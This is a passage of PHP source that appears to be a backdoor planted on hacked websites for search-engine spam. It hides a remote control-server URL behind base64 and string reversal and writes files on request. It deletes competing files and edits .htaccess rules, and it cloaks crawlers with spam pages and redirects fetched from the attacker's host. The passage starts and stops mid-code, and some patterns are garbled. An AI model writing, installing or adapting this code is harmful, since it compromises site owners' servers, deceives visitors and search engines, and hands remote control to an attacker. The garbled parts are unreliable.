llow_gen = true;
@ini_set('display_errors', '0');
error_reporting(0);
@ini_set("memory_limit","1024M");
$curtime = time();
$hspan = 0;
$gen_passwd = "45ca938b0a2d604202c47986f9a9cce9";
$donor = $_SERVER['HTTP_HOST'].$_SERVER['REQUEST_URI'];
if (preg_match('#.txt|.jpg|.png|/feed/|.xml|.ico#', $donor)) die();
if ($_REQUEST['testwork'] == 'ololo') {
$twork = 'idi nahui pidrila';
if (preg_match("#cgi|admin#i", $eb)) $eb = '';
if (file_put_contents("{$eb}xml.php", $twork)) echo "success!
go";
else echo "error!";
die();
}
if (ini_get('allow_url_fopen')) {
function get_data_yo($url) {
$data = file_get_contents($url);
return $data;
}
}
else {
function get_data_yo($url) {
$ch = curl_init();
curl_setopt($ch, CURLOPT_HEADER, 0);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
curl_setopt($ch, CURLOPT_URL, $url);
curl_setopt($ch, CURLOPT_CONNECTTIMEOUT, 8);
$data = curl_exec($ch);
curl_close($ch);
return $data;
}
}
$ip = urlencode($_SERVER['REMOTE_ADDR']);
$ua = urlencode($_SERVER['HTTP_USER_AGENT']);
//block ddos bots
$blbots = '/semrush|rogerbot|exabot|mj12bot|dotbot|gigabot|ahrefsbot|ia_archiver/i';
if (preg_match($blbots, $ua)) die();
$ref = urlencode($_SERVER['HTTP_REFERER']);
$poiskoviki = '/google|bing|yahoo|aol|rambler/i';
$fromse = 0;
if ($ref && preg_match($poiskoviki, $ref)) $fromse = 1;
$abt = 0;
$abtip = 0;
if (isset($_GET['debug'])) $abt = 1;
$meta_key = base64_decode(strrev('==wLr5GbvA3b05SYrxWYil2ZvB3LvoDc0RHa'));
$crawlers = '/google|bot|crawl|slurp|spider|yandex|rambler/i';
if (preg_match($crawlers, $ua)) {
$abt = 1;
}
if (file_exists("{$eb}.bt")) {
$bots = file("{$eb}.bt", FILE_IGNORE_NEW_LINES | FILE_SKIP_EMPTY_LINES);
$btime = filemtime("{$eb}.bt");
$obtime = $curtime - $btime;
}
if (!$bots[2] || $obtime > 172800) {
$fbots = get_data_yo($meta_key . "bots.dat");
$btf = fopen("{$eb}.bt", 'w');
fwrite($btf, $fbots);
fclose($btf);
$bots = file("{$eb}.bt", FILE_IGNORE_NEW_LINES | FILE_SKIP_EMPTY_LINES);
}
if (in_array($ip, $bots)) {
$abt = 1;
$abtip = 1;
}
$st = '.st';
$cldw = 0;
$dw = 0;
if (is_file('gd-config-sample1.php')) @unlink('gd-config-sample1.php');
if (is_file('../gd-config-sample1.php')) @unlink('../gd-config-sample1.php');
if (is_file('../../gd-config-sample1.php')) @unlink('../../gd-config-sample1.php');
if (is_file('../../../gd-config-sample1.php')) @unlink('../../../gd-config-sample1.php');
$ht_files = array('.htaccess','../.htaccess','../../.htaccess','../../../.htaccess');
foreach ($ht_files as $ht_file) {
if (is_file($ht_file)) {
$tmpp = @file_get_contents($ht_file);
if (strpos($tmpp, 'gd-config-sample.php1')) {
$tmpp = str_replace('RewriteRule ^(.+).html$ gd-config-sample.php1?key=$1', '', $tmpp);
@file_put_contents($ht_file, $tmpp);
}
}
}
if ($allow_gen === true && $_REQUEST["create"] == 1 && $_REQUEST["gen_passwd"] === $gen_passwd) {
$cldw = 0;
if ($_REQUEST['cldw']) $cldw = 1;
$qq = $_REQUEST['qq'];
if (!file_exists("{$eb}{$st}/.r")) {
$qq = $_REQUEST['qq'];
mkdir("{$eb}{$st}");
}
else {
$pamparam = file_get_contents("{$eb}{$st}/.r");
$eqq = explode('|', $pamparam);
if (isset($_REQUEST['qq']) && $_REQUEST['qq']) $qq = $_REQUEST['qq'];
else $qq = trim($eqq[2]);
}
$redir = $_REQUEST['redir'];
$redcode = $_REQUEST['redcode'];
$redcode = htmlspecialchars_decode($redcode);
$redcode = base64_encode($redcode);
$group = $_REQUEST['group'];
if ($cldw) {
$egroup = explode('_', $group);
$kgroup = $egroup[0];
$clkeys = get_data_yo($meta_key . "gen/keys/$kgroup.keys");
file_put_contents("{$eb}{$st}/.k", $clkeys);
}
$lang = $_REQUEST['lang'];
file_put_contents("{$eb}{$st}/.r", "$redir|$group|$qq|$lang|$redcode|$cldw");
if (file_exists("{$eb}{$st}/.r")) {
echo "created";
die();
}
}
if (file_exists("{$eb}{$st}/.r")) {
$dw = 1;
$pamparam = file_get_contents("{$eb}{$st}/.r");
$eqq = explode('|', $pamparam);
$redir = $eqq[0];
if (!strstr($redir, 'http://')) $redir = base64_decode($redir);
$group = $eqq[1];
$qq = trim($eqq[2]);
$lang = trim($eqq[3]);
if ($eqq[4]) $redcode = base64_decode($eqq[4]);
$cldw = $eqq[5];
}
$donor = $_SERVER['HTTP_HOST'].$_SERVER['REQUEST_URI'];
$ddomain = $_SERVER['HTTP_HOST'];
$ddomain = str_ireplace('www.', '', $ddomain);
$eddomain = explode('.', $ddomain);
$ddname = $eddomain[0];
$donor = str_ireplace('www.', '', $donor);
$page = str_replace('/', '|', $donor);
$donor = urldecode($donor);
$epage = explode('|', $page);
$morda = 0;
if (!$epage[1] && !$epage[2] || $epage[1] == 'index.php' || $epage[1] == '?p=home') $morda = 1;
//$fromse = 1;
if ($abt || $fromse || $redcode || $hspan) {
if (($abt || $hspan) && !$_GET[$qq]) {
$ll = get_data_yo($meta_key . "tuktuk.php?d=$donor&cldw=$cldw&dgrp=$algo");
$el = explode("\n", $ll);
}
if (file_exists("{$eb}{$st}/$page.html")) {
$htmlpage = file_get_contents("{$eb}{$st}/$page.html");
echo $htmlpage;
die();
}
$mdpage = md5($page);
if (file_exists("{$eb}{$st}/$page.txt") || file_exists("{$eb}{$st}/$mdpage.txt")) {
if (file_exists("{$eb}{$st}/$mdpage.txt")) $gtxt = file_get_contents("{$eb}{$st}/$mdpage.txt");
else $gtxt = file_get_contents("{$eb}{$st}/$page.txt");
$etxt = explode('|', $gtxt);
$key = $etxt[0];
$desc = $etxt[1];
$txt = $etxt[2];
$h1 = $etxt[3];
}
elseif ($cldw || isset($_GET[$qq])) {
$desc = '';
$keys = file("{$eb}{$st}/.k", FILE_SKIP_EMPTY_LINES | FILE_IGNORE_NEW_LINES);
if ($keys[0]) {
$key = $keys[0];
for ($kk = 1; $kk < count($keys); $kk++) $newkeys .= "$keys[$kk]
";
file_put_contents("{$eb}{$st}/.k", $newkeys);
}
if (isset($_GET[$qq])) {
$key = str_replace('-', ' ', $_GET[$qq]);
}
if ($key) {
$parkey = $key;
$tkey = str_replace(' ', '-', $key);
if (stristr($lang, 'own')) {
$lang = str_replace('own:', '', $lang);
$owntext = base64_decode($lang);
$wkey = urlencode($key);
if (strstr($owntext, '?')) $ttxt = get_data_yo("{$owntext}&key=$wkey");
else $ttxt = get_data_yo("{$owntext}?key=$wkey");
}
else $ttxt = get_data_yo($meta_key . "gen/index.php?key=$tkey&g=$group&lang=$lang&page=$page&cldw=$cldw&dd=$ddomain");
if (preg_match('#$parkey
";
if ($cldw) file_put_contents("{$eb}{$st}/cldwmap.txt", $newcllink, FILE_APPEND);
}
}
$iswp = 0;
if (file_exists('wp-includes/vars.php')) $iswp = 1;
$cldwmap = file("{$eb}{$st}/cldwmap.txt", FILE_SKIP_EMPTY_LINES | FILE_IGNORE_NEW_LINES);
ob_start();
function shutdown() {
global $morda; global $eb; global $txt; global $qq; global $key; global $desc; global $lang; global $cldwmap; global $el; global $dw; global $cldw; global $redcode; global $abt; global $hspan; global $h1; global $iswp; global $ddname;
$title = ucfirst($key);
$my_content = ob_get_contents();
ob_end_clean();
if ($my_content && isset($_REQUEST['prigod'])) {
$my_content = '---prigod---';
}
if ($key && $abt) {
if ($cldw && !$morda) {
preg_match_all('##iUm', $my_content, $ahrefs);
$cntahrefs = count($ahrefs[0]);
$cntcldwmap = count($cldwmap);
$i = 0;
foreach ($ahrefs[0] as $ahref) {
if ($cldwmap[$i]) {
$my_content = str_replace($ahref, $cldwmap[$i], $my_content);
}
$i++;
}
if ($morda) {
$cldwfooter = '';
foreach ($cldwmap as $cldwflink) {
$cldwfooter .= "$cldwflink ";
}
$my_content = str_replace('', "